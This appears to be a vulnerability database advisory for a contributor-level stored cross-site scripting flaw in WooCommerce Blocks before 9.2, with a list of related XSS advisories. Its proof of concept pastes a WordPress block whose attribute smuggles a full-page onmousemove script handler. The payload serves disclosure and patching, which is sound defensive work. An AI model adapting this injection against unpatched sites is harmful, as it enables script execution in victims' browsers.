WooCommerce < 9.2 – Contributor+ Stored XSS | Plugin Vulnerabilities

Description

WooCommerce Blocks is vulnerable to a XSS vulnerability due to insufficient sanitization of user supplied block attributes. This makes it possible for Contributors+ attackers to inject arbitrary scripts.

Proof of Concept

1.  Open the post editor
2. Switch to the code editor
3. Copy and paste this code:

<!-- wp:woocommerce/all-products {"foo=bar style=z-index:9000;position:fixed;left:0px;top:0px;max-width:100%;width:100%;height:100%; onmousemove":"if(!window.foo){window.foo=1;alert(document.domain);}"} -->
<div class="wp-block-woocommerce-all-products wc-block-all-products"></div>
<!-- /wp:woocommerce/all-products -->

Affects Plugins

Fixed in 9.2

References

URL

https://developer.woocommerce.com/2024/08/21/woocommerce-9-2-a-better-experience-for-all-users/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

vortfu

Submitter

John Castro

Verified

Yes

WPVDB ID

c966c5ea-3cb4-4dc0-ac85-8d534c83804b

Timeline

Publicly Published

2024-08-21 (about 1 year ago)

Added

2024-08-21 (about 1 year ago)

Last Updated

2024-08-21 (about 1 year ago)

Other

Published

Title

Published

2024-02-14

Title

WP Activity Log < 4.6.2 - Unauthenticated Stored Cross-Site Scripting

Published

2024-06-22

Title

Shortcodes Ultimate Pro < 7.1.5 - Contributor+ Stored Cross-Site Scripting XSS

Published

2024-06-22

Title

WP eMember < 10.6.7 - Reflected XSS

Published

2024-03-13

Title

Elementor Addons by Livemesh < 8.3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Posts Carousel Widget

Published

2014-08-01

Title

Backend Localization 1.6.1 - options-general.php kau-boys_backend_localization_language Parameter XSS